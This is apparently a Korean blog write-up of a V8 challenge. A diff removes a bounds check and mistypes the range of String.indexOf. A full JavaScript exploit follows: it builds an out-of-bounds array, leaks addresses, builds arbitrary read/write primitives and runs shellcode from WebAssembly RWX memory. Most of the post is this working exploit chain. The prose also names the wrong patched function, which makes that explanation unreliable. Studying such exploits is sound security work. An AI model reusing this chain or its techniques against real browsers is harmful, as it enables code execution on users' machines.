diff --git a/src/compiler/js-call-reducer.cc b/src/compiler/js-call-reducer.cc
index 5e26a68ada..a3638ef5b3 100644
--- a/src/compiler/js-call-reducer.cc
+++ b/src/compiler/js-call-reducer.cc
@@ -6260,12 +6260,11 @@ Reduction JSCallReducer::ReduceArrayIteratorPrototypeNext(Node* node) {
Node* etrue = effect;
Node* if_true = graph()->NewNode(common()->IfTrue(), branch);
- // This extra check exists to refine the type of {index} but also to break
- // an exploitation technique that abuses typer mismatches.
+ // We know that the {index} is range of the {length} now.
index = etrue = graph()->NewNode(
- simplified()->CheckBounds(p.feedback(),
- CheckBoundsFlag::kAbortOnOutOfBounds),
- index, length, etrue, if_true);
+ common()->TypeGuard(
+ Type::Range(0.0, length_access.type.Max() - 1.0, graph()->zone())),
+ index, etrue, if_true);
done_true = jsgraph()->FalseConstant();
if (iteration_kind == IterationKind::kKeys) {
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index a9bc374552..e13027b686 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -2063,7 +2063,7 @@ Type Typer::Visitor::TypeStringFromCodePointAt(Node* node) {
}
Type Typer::Visitor::TypeStringIndexOf(Node* node) {
- return Type::Range(-1.0, String::kMaxLength, zone());
+ return Type::Range(-0.0, String::kMaxLength, zone());
}
Type Typer::Visitor::TypeStringLength(Node* node) {
두 함수를 패치했다. 버그를 일으키는 패치는TypeStringFromCodePointAt 함수 패치이다. javascript에서는, "aaaaaaaaa".indexOf("non_exist")처럼 존재하지 않는 문자열을 indexOf로 찾으려고 하면 -1을 return한다. 기존의 코드에서는 이 범위를 올바르게 표시했지만, 패치로 인해 typer가 indexOf의 return 값의 type을 잘못 추측하게 만들었다.
두 번째 패치는 ReduceArrayIteratorPrototypeNext의 check bound node를 없앤 것이다. 이 버그를 패치하면서 패치된 로직인데, 아직 취약점에 대한 정보가 공개되지는 않았다. 이후 OOB Array를 만드는데 사용될 수 있다.
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(BigInt(val) & 0xffffffffn);
u64_buf[1] = Number(BigInt(val) >> 32n);
return f64_buf[0];
}
spray = []
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var sh = wasm_instance.exports.main;
A1 = new Uint32Array(0x8);
AARW = new ArrayBuffer(0xceed);
A3 = [0x1234,0x2468,wasm_instance,0x3456,0x4567];
sprays=[]
for(var j =0;j<0x10000;j+=2){
spray[j]= 6.7355966e-316//itof(0x8203b09); // 0x0800222d082c3ae1 maps + properties error in itof. hardcoding
spray[j+1]= itof(0x21fff084c2121) //element + length. element => write to this address
}
A1 = new Uint32Array(0x8);
AARW = new ArrayBuffer(0xceed);
A3 = [0x1234,0x2468,wasm_instance,0x3456,0x4567];
function hex(val){
return "0x"+val.toString(16)
}
function assert(a){
if(a){
return;
}
throw "error"
}
function print(){}
function foo(a,v){
var wt= "exist ".indexOf(a);
wt = wt + 1;
wt= wt*0x20//real : 0, opt : big num
wt+=1//avoid 0x0800222d = FixedArray[0]
var arr = new Array(wt);
// arr[1]=1.1
var fake = new Array(0x10);
for(var j =0;j<0xf;j++){
fake[j]=v;//spray.element ptr
}
var oob = arr[Symbol.iterator]();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
return oob.next();
}
for(var i=0;i<0x10000;i++){
foo("exist",itof(0x1));
}
ret = foo("qq",itof(0x0847b02100000000));//return spray.element ptr
ib=false
for(i=0;i<32769;i++){// 0x082515d8, 0x084c25c4,0x084c25ac - 0x0847b021
tmp2 = ret.value[i]
if(tmp2==undefined || (typeof base !== 'undefined' && typeof aarw !== 'undefined' ) ){
break
}
tmp = ftoi(tmp2)
high = tmp>>32n
low = tmp&0xffffffffn
if(high == 0xceed || low == 0xceed){
console.log("found ceed. scan start")
for(j=-0x300;j<0x300;j++){
tmp = ret.value[i+j]
tmp = ftoi(tmp)
console.log("scan "+i+" "+j+" = "+hex(tmp));
low = tmp&0xffffffffn;
high = tmp>>32n;
if(low==7){
base = tmp
base-=7n
console.log("found base = "+hex(base))
aarw = i+2
function aar(address){
ret.value[aarw]= itof(((address)&0xffffffffn )*0x100000000n )
ret.value[aarw+1] =itof(parseInt(address/0x100000000n))
return view.getUint32(0,true)
}
function aaw(address,value){
ret.value[aarw]= itof(((address)&0xffffffff )*0x100000000 )
ret.value[aarw+1] = itof(parseInt(address/0x100000000))
view.setUint32(0,value,true)
}
}
if(high==7){
base = (ftoi(ret.value[i+j+1])>>32n) <<32n
//base-=7n
console.log("found base = "+hex(base))
aarw= i+2
function aar(address){
ret.value[aarw] = itof(address)
return view.getUint32(0,true)
}
function aaw(address, value){
ret.value[aarw] = itof(address)
view.setUint32(0,value,true)
}
}
if(low==0x048d0 && ftoi( ret.value[i+j+1])== 0x00008ace000068ac ){
rwx_p=high
console.log("found rwx_p = "+hex(rwx_p))
}
if(high==0x48d0&& low == 0x2468){
rwx_p = ftoi(ret.value[i+j+1])
console.log("found rwx_p = "+hex(rwx_p))
}
if((typeof base !== 'undefined' && typeof rwx_p !== 'undefined' && typeof aarw !== 'undefined' ) ){
break;
}
}
}
//console.log ( i+" = "+hex(ftoi(ret.value[i])))
}
if(!(typeof base !== 'undefined' && typeof aarw !== 'undefined' &&typeof rwx_p !== 'undefined' ) ){
console.log("leak fail")
err
}
rwx_p = rwx_p + base +0x5fn
console.log("rwx_p = " + hex(rwx_p))
view = new DataView(AARW);
//readline()
leak1 = aar(rwx_p)
rwx = (aar(rwx_p+4n)*0x100000000)+leak1
console.log("rwx = "+hex(rwx))
shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
for(i=0;i<shellcode.length;i++){
aaw(rwx+i*4,shellcode[i],true);
}
//readline()
sh()
'브라우저' 카테고리의 다른 글
CCE 2021 - shlowering (0) | 2021.10.29 |
---|---|
CVE-2020-6383 (0) | 2020.11.10 |
DownUnderCTF 2020 / is-this-pwn-or-web (0) | 2020.09.21 |
Chrome v8 / CVE-2019-5791 (0) | 2020.08.17 |
pwn2win 2020 / omnitmizer (0) | 2020.06.03 |